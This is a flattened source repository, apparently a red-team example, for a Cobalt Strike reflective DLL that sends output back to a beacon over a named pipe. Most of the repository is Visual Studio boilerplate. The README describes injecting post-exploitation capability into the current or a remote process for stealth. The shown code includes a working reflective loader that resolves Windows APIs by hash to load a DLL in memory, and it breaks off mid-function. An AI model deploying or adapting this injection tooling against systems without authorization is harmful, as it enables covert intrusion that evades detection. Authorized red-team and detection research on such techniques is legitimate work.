├── .gitattributes
├── .gitignore
├── README.md
├── ReflectiveDll.sln
├── ReflectiveDll
├── ReflectiveDll.vcxproj
├── ReflectiveDll.vcxproj.filters
├── ReflectiveDllInjection.h
├── ReflectiveLoader.cpp
├── ReflectiveLoader.h
└── dllmain.cpp
└── cna
├── bin
├── ReflectiveDll.x64.dll
└── ReflectiveDll.x86.dll
└── pipetest.cna
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Build results
17 | [Dd]ebug/
18 | [Dd]ebugPublic/
19 | [Rr]elease/
20 | [Rr]eleases/
21 | x64/
22 | x86/
23 | [Aa][Rr][Mm]/
24 | [Aa][Rr][Mm]64/
25 | bld/
26 | [Bb]in/
27 | [Oo]bj/
28 | [Ll]og/
29 |
30 | # Visual Studio 2015/2017 cache/options directory
31 | .vs/
32 | # Uncomment if you have tasks that create the project's static files in wwwroot
33 | #wwwroot/
34 |
35 | # Visual Studio 2017 auto generated files
36 | Generated\ Files/
37 |
38 | # MSTest test Results
39 | [Tt]est[Rr]esult*/
40 | [Bb]uild[Ll]og.*
41 |
42 | # NUNIT
43 | *.VisualState.xml
44 | TestResult.xml
45 |
46 | # Build Results of an ATL Project
47 | [Dd]ebugPS/
48 | [Rr]eleasePS/
49 | dlldata.c
50 |
51 | # Benchmark Results
52 | BenchmarkDotNet.Artifacts/
53 |
54 | # .NET Core
55 | project.lock.json
56 | project.fragment.lock.json
57 | artifacts/
58 |
59 | # StyleCop
60 | StyleCopReport.xml
61 |
62 | # Files built by Visual Studio
63 | *_i.c
64 | *_p.c
65 | *_h.h
66 | *.ilk
67 | *.meta
68 | *.obj
69 | *.iobj
70 | *.pch
71 | *.pdb
72 | *.ipdb
73 | *.pgc
74 | *.pgd
75 | *.rsp
76 | *.sbr
77 | *.tlb
78 | *.tli
79 | *.tlh
80 | *.tmp
81 | *.tmp_proj
82 | *_wpftmp.csproj
83 | *.log
84 | *.vspscc
85 | *.vssscc
86 | .builds
87 | *.pidb
88 | *.svclog
89 | *.scc
90 |
91 | # Chutzpah Test files
92 | _Chutzpah*
93 |
94 | # Visual C++ cache files
95 | ipch/
96 | *.aps
97 | *.ncb
98 | *.opendb
99 | *.opensdf
100 | *.sdf
101 | *.cachefile
102 | *.VC.db
103 | *.VC.VC.opendb
104 |
105 | # Visual Studio profiler
106 | *.psess
107 | *.vsp
108 | *.vspx
109 | *.sap
110 |
111 | # Visual Studio Trace Files
112 | *.e2e
113 |
114 | # TFS 2012 Local Workspace
115 | $tf/
116 |
117 | # Guidance Automation Toolkit
118 | *.gpState
119 |
120 | # ReSharper is a .NET coding add-in
121 | _ReSharper*/
122 | *.[Rr]e[Ss]harper
123 | *.DotSettings.user
124 |
125 | # JustCode is a .NET coding add-in
126 | .JustCode
127 |
128 | # TeamCity is a build add-in
129 | _TeamCity*
130 |
131 | # DotCover is a Code Coverage Tool
132 | *.dotCover
133 |
134 | # AxoCover is a Code Coverage Tool
135 | .axoCover/*
136 | !.axoCover/settings.json
137 |
138 | # Visual Studio code coverage results
139 | *.coverage
140 | *.coveragexml
141 |
142 | # NCrunch
143 | _NCrunch_*
144 | .*crunch*.local.xml
145 | nCrunchTemp_*
146 |
147 | # MightyMoose
148 | *.mm.*
149 | AutoTest.Net/
150 |
151 | # Web workbench (sass)
152 | .sass-cache/
153 |
154 | # Installshield output folder
155 | [Ee]xpress/
156 |
157 | # DocProject is a documentation generator add-in
158 | DocProject/buildhelp/
159 | DocProject/Help/*.HxT
160 | DocProject/Help/*.HxC
161 | DocProject/Help/*.hhc
162 | DocProject/Help/*.hhk
163 | DocProject/Help/*.hhp
164 | DocProject/Help/Html2
165 | DocProject/Help/html
166 |
167 | # Click-Once directory
168 | publish/
169 |
170 | # Publish Web Output
171 | *.[Pp]ublish.xml
172 | *.azurePubxml
173 | # Note: Comment the next line if you want to checkin your web deploy settings,
174 | # but database connection strings (with potential passwords) will be unencrypted
175 | *.pubxml
176 | *.publishproj
177 |
178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
179 | # checkin your Azure Web App publish settings, but sensitive information contained
180 | # in these scripts will be unencrypted
181 | PublishScripts/
182 |
183 | # NuGet Packages
184 | *.nupkg
185 | # The packages folder can be ignored because of Package Restore
186 | **/[Pp]ackages/*
187 | # except build/, which is used as an MSBuild target.
188 | !**/[Pp]ackages/build/
189 | # Uncomment if necessary however generally it will be regenerated when needed
190 | #!**/[Pp]ackages/repositories.config
191 | # NuGet v3's project.json files produces more ignorable files
192 | *.nuget.props
193 | *.nuget.targets
194 |
195 | # Microsoft Azure Build Output
196 | csx/
197 | *.build.csdef
198 |
199 | # Microsoft Azure Emulator
200 | ecf/
201 | rcf/
202 |
203 | # Windows Store app package directories and files
204 | AppPackages/
205 | BundleArtifacts/
206 | Package.StoreAssociation.xml
207 | _pkginfo.txt
208 | *.appx
209 |
210 | # Visual Studio cache files
211 | # files ending in .cache can be ignored
212 | *.[Cc]ache
213 | # but keep track of directories ending in .cache
214 | !?*.[Cc]ache/
215 |
216 | # Others
217 | ClientBin/
218 | ~$*
219 | *~
220 | *.dbmdl
221 | *.dbproj.schemaview
222 | *.jfm
223 | *.pfx
224 | *.publishsettings
225 | orleans.codegen.cs
226 |
227 | # Including strong name files can present a security risk
228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
229 | #*.snk
230 |
231 | # Since there are multiple workflows, uncomment next line to ignore bower_components
232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
233 | #bower_components/
234 |
235 | # RIA/Silverlight projects
236 | Generated_Code/
237 |
238 | # Backup & report files from converting an old project file
239 | # to a newer Visual Studio version. Backup files are not needed,
240 | # because we have git ;-)
241 | _UpgradeReport_Files/
242 | Backup*/
243 | UpgradeLog*.XML
244 | UpgradeLog*.htm
245 | ServiceFabricBackup/
246 | *.rptproj.bak
247 |
248 | # SQL Server files
249 | *.mdf
250 | *.ldf
251 | *.ndf
252 |
253 | # Business Intelligence projects
254 | *.rdl.data
255 | *.bim.layout
256 | *.bim_*.settings
257 | *.rptproj.rsuser
258 | *- Backup*.rdl
259 |
260 | # Microsoft Fakes
261 | FakesAssemblies/
262 |
263 | # GhostDoc plugin setting file
264 | *.GhostDoc.xml
265 |
266 | # Node.js Tools for Visual Studio
267 | .ntvs_analysis.dat
268 | node_modules/
269 |
270 | # Visual Studio 6 build log
271 | *.plg
272 |
273 | # Visual Studio 6 workspace options file
274 | *.opt
275 |
276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
277 | *.vbw
278 |
279 | # Visual Studio LightSwitch build output
280 | **/*.HTMLClient/GeneratedArtifacts
281 | **/*.DesktopClient/GeneratedArtifacts
282 | **/*.DesktopClient/ModelManifest.xml
283 | **/*.Server/GeneratedArtifacts
284 | **/*.Server/ModelManifest.xml
285 | _Pvt_Extensions
286 |
287 | # Paket dependency manager
288 | .paket/paket.exe
289 | paket-files/
290 |
291 | # FAKE - F# Make
292 | .fake/
293 |
294 | # JetBrains Rider
295 | .idea/
296 | *.sln.iml
297 |
298 | # CodeRush personal settings
299 | .cr/personal
300 |
301 | # Python Tools for Visual Studio (PTVS)
302 | __pycache__/
303 | *.pyc
304 |
305 | # Cake - Uncomment if you are using it
306 | # tools/**
307 | # !tools/packages.config
308 |
309 | # Tabs Studio
310 | *.tss
311 |
312 | # Telerik's JustMock configuration file
313 | *.jmconfig
314 |
315 | # BizTalk build output
316 | *.btp.cs
317 | *.btm.cs
318 | *.odx.cs
319 | *.xsd.cs
320 |
321 | # OpenCover UI analysis results
322 | OpenCover/
323 |
324 | # Azure Stream Analytics local run output
325 | ASALocalRun/
326 |
327 | # MSBuild Binary and Structured Log
328 | *.binlog
329 |
330 | # NVidia Nsight GPU debugger configuration file
331 | *.nvuser
332 |
333 | # MFractors (Xamarin productivity tool) working folder
334 | .mfractor/
335 |
336 | # Local History for Visual Studio
337 | .localhistory/
338 |
339 | # BeatPulse healthcheck temp database
340 | healthchecksdb
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## cs-rdll-example
2 |
3 | This is an example code pattern for using named pipes for IPC with ReflectiveDlls in Cobalt Strike.
4 |
5 | It is simply an example to show how to get beacon output from an injected rDLL. It does not do anything other than demonstrate how to send and receive output over a named pipe using aggressor and C++.
6 |
7 | This is useful for scenarios where you want to inject a post-exploitation capability into the current (or remote) process to avoid the fork and inject method used by `bdllspawn`. Whilst `shinject` and `bdllinject` support self-injection (you can specify an arbitrary PID), they do not contain any built-in way to send back output to the current beacon. From Cobalt Strike 4.1, you probably want to use BOFs for this instead, however if for some reason that is not possible, this method can be used as an alternative.
8 |
9 | ## Note on Injection vs. Self-injection
10 |
11 | The included CNA script is configured for self-injection, which is likely more stealthier in most scenarios. However, it does come with the risk that errors in your ReflectiveDLl will crash the current beacon. Therefore you will need to be mindful of this risk when using self-injection. The named pipe IPC technique does support remote injection though, you just need to specify the target PID in the CNA script instead of the current process.
12 |
13 | ## Running
14 |
15 | Load the `pipetest.cna` script from the [cna/](cna/) folder. Once loaded, type `pipetest` in a beacon session. This will inject the example DLL into the current beacon process and print the output sent over the named pipe.
--------------------------------------------------------------------------------
/ReflectiveDll.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29709.97
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDll", "ReflectiveDll\ReflectiveDll.vcxproj", "{95872905-17ED-444E-B35A-C79FADBED4B8}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Debug|x64.ActiveCfg = Debug|x64
17 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Debug|x64.Build.0 = Debug|x64
18 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Debug|x86.ActiveCfg = Debug|Win32
19 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Debug|x86.Build.0 = Debug|Win32
20 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Release|x64.ActiveCfg = Release|x64
21 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Release|x64.Build.0 = Release|x64
22 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Release|x86.ActiveCfg = Release|Win32
23 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {84E71FA9-ABB8-4A02-9DE5-9C63DEC4CBCF}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/ReflectiveDll/ReflectiveDll.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {95872905-17ED-444E-B35A-C79FADBED4B8}
24 | Win32Proj
25 | ReflectiveDll
26 | 10.0
27 | ReflectiveDll
28 |
29 |
30 |
31 | DynamicLibrary
32 | true
33 | v142
34 | Unicode
35 |
36 |
37 | DynamicLibrary
38 | false
39 | v142
40 | true
41 | Unicode
42 | false
43 |
44 |
45 | DynamicLibrary
46 | true
47 | v142
48 | Unicode
49 |
50 |
51 | DynamicLibrary
52 | false
53 | v142
54 | true
55 | Unicode
56 | false
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 | true
78 |
79 |
80 | true
81 |
82 |
83 | false
84 | ReflectiveDll.$(PlatformTarget)
85 |
86 |
87 | false
88 | ReflectiveDll.$(PlatformTarget)
89 |
90 |
91 |
92 | Use
93 | Level3
94 | true
95 | WIN32;_DEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
96 | true
97 | pch.h
98 |
99 |
100 | Windows
101 | true
102 | false
103 |
104 |
105 |
106 |
107 | Use
108 | Level3
109 | true
110 | _DEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
111 | true
112 | pch.h
113 |
114 |
115 | Windows
116 | true
117 | false
118 |
119 |
120 |
121 |
122 | NotUsing
123 | Level3
124 | true
125 | true
126 | true
127 | WIN32;NDEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X86;%(PreprocessorDefinitions)
128 | true
129 |
130 |
131 | MultiThreaded
132 | None
133 |
134 |
135 | Windows
136 | true
137 | true
138 | true
139 | false
140 |
141 |
142 | copy /Y "$(TargetDir)$(TargetName).dll" "$(SolutionDir)cna\bin\$(TargetName).dll"
143 |
144 |
145 |
146 |
147 | NotUsing
148 | Level3
149 | true
150 | true
151 | true
152 | NDEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X64;%(PreprocessorDefinitions)
153 | true
154 |
155 |
156 | None
157 | MultiThreaded
158 |
159 |
160 | Windows
161 | true
162 | true
163 | false
164 | false
165 |
166 |
167 |
168 | copy /Y "$(TargetDir)$(TargetName).dll" "$(SolutionDir)cna\bin\$(TargetName).dll"
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
--------------------------------------------------------------------------------
/ReflectiveDll/ReflectiveDll.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
26 |
27 | Header Files
28 |
29 |
30 | Header Files
31 |
32 |
33 |
--------------------------------------------------------------------------------
/ReflectiveDll/ReflectiveDllInjection.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
30 | //===============================================================================================//
31 | #define WIN32_LEAN_AND_MEAN
32 | #include
33 |
34 | // we declare some common stuff in here...
35 |
36 | #define DLL_QUERY_HMODULE 6
37 |
38 | #define DEREF( name )*(UINT_PTR *)(name)
39 | #define DEREF_64( name )*(DWORD64 *)(name)
40 | #define DEREF_32( name )*(DWORD *)(name)
41 | #define DEREF_16( name )*(WORD *)(name)
42 | #define DEREF_8( name )*(BYTE *)(name)
43 |
44 | typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
45 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
46 |
47 | #define DLLEXPORT __declspec( dllexport )
48 |
49 | //===============================================================================================//
50 | #endif
51 | //===============================================================================================//
52 |
--------------------------------------------------------------------------------
/ReflectiveDll/ReflectiveLoader.cpp:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #include "ReflectiveLoader.h"
29 | //===============================================================================================//
30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
31 | HINSTANCE hAppInstance = NULL;
32 | //===============================================================================================//
33 | #pragma intrinsic( _ReturnAddress )
34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally
35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
37 | // available (and no inline asm available under x64).
38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
39 | //===============================================================================================//
40 |
41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
42 | // otherwise the DllMain at the end of this file will be used.
43 |
44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub.
46 |
47 | // This is our position independent reflective DLL loader/injector
48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
50 | #else
51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
52 | #endif
53 | {
54 | // the functions we need
55 | LOADLIBRARYA pLoadLibraryA = NULL;
56 | GETPROCADDRESS pGetProcAddress = NULL;
57 | VIRTUALALLOC pVirtualAlloc = NULL;
58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
59 |
60 | USHORT usCounter;
61 |
62 | // the initial location of this image in memory
63 | ULONG_PTR uiLibraryAddress;
64 | // the kernels base address and later this images newly loaded base address
65 | ULONG_PTR uiBaseAddress;
66 |
67 | // variables for processing the kernels export table
68 | ULONG_PTR uiAddressArray;
69 | ULONG_PTR uiNameArray;
70 | ULONG_PTR uiExportDir;
71 | ULONG_PTR uiNameOrdinals;
72 | DWORD dwHashValue;
73 |
74 | // variables for loading this image
75 | ULONG_PTR uiHeaderValue;
76 | ULONG_PTR uiValueA;
77 | ULONG_PTR uiValueB;
78 | ULONG_PTR uiValueC;
79 | ULONG_PTR uiValueD;
80 | ULONG_PTR uiValueE;
81 |
82 | // STEP 0: calculate our images current base address
83 |
84 | // we will start searching backwards from our callers return address.
85 | uiLibraryAddress = caller();
86 |
87 | // loop through memory backwards searching for our images base address
88 | // we dont need SEH style search as we shouldnt generate any access violations with this
89 | while (TRUE)
90 | {
91 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
92 | {
93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
96 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
97 | {
98 | uiHeaderValue += uiLibraryAddress;
99 | // break if we have found a valid MZ/PE header
100 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
101 | break;
102 | }
103 | }
104 | uiLibraryAddress--;
105 | }
106 |
107 | // STEP 1: process the kernels exports for the functions our loader needs...
108 |
109 | // get the Process Enviroment Block
110 | #ifdef WIN_X64
111 | uiBaseAddress = __readgsqword(0x60);
112 | #else
113 | #ifdef WIN_X86
114 | uiBaseAddress = __readfsdword(0x30);
115 | #else WIN_ARM
116 | uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
117 | #endif
118 | #endif
119 |
120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
122 |
123 | // get the first entry of the InMemoryOrder module list
124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
125 | while (uiValueA)
126 | {
127 | // get pointer to current modules name (unicode string)
128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
129 | // set bCounter to the length for the loop
130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
131 | // clear uiValueC which will store the hash of the module name
132 | uiValueC = 0;
133 |
134 | // compute the hash of the module name...
135 | do
136 | {
137 | uiValueC = ror((DWORD)uiValueC);
138 | // normalize to uppercase if the madule name is in lowercase
139 | if (*((BYTE*)uiValueB) >= 'a')
140 | uiValueC += *((BYTE*)uiValueB) - 0x20;
141 | else
142 | uiValueC += *((BYTE*)uiValueB);
143 | uiValueB++;
144 | } while (--usCounter);
145 |
146 | // compare the hash with that of kernel32.dll
147 | if ((DWORD)uiValueC == KERNEL32DLL_HASH)
148 | {
149 | // get this modules base address
150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
151 |
152 | // get the VA of the modules NT Header
153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
154 |
155 | // uiNameArray = the address of the modules export directory entry
156 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
157 |
158 | // get the VA of the export directory
159 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
160 |
161 | // get the VA for the array of name pointers
162 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
163 |
164 | // get the VA for the array of name ordinals
165 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
166 |
167 | usCounter = 3;
168 |
169 | // loop while we still have imports to find
170 | while (usCounter > 0)
171 | {
172 | // compute the hash values for this function name
173 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
174 |
175 | // if we have found a function we want we get its virtual address
176 | if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
177 | {
178 | // get the VA for the array of addresses
179 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
180 |
181 | // use this functions name ordinal as an index into the array of name pointers
182 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
183 |
184 | // store this functions VA
185 | if (dwHashValue == LOADLIBRARYA_HASH)
186 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
187 | else if (dwHashValue == GETPROCADDRESS_HASH)
188 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
189 | else if (dwHashValue == VIRTUALALLOC_HASH)
190 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
191 |
192 | // decrement our counter
193 | usCounter--;
194 | }
195 |
196 | // get the next exported function name
197 | uiNameArray += sizeof(DWORD);
198 |
199 | // get the next exported function name ordinal
200 | uiNameOrdinals += sizeof(WORD);
201 | }
202 | }
203 | else if ((DWORD)uiValueC == NTDLLDLL_HASH)
204 | {
205 | // get this modules base address
206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
207 |
208 | // get the VA of the modules NT Header
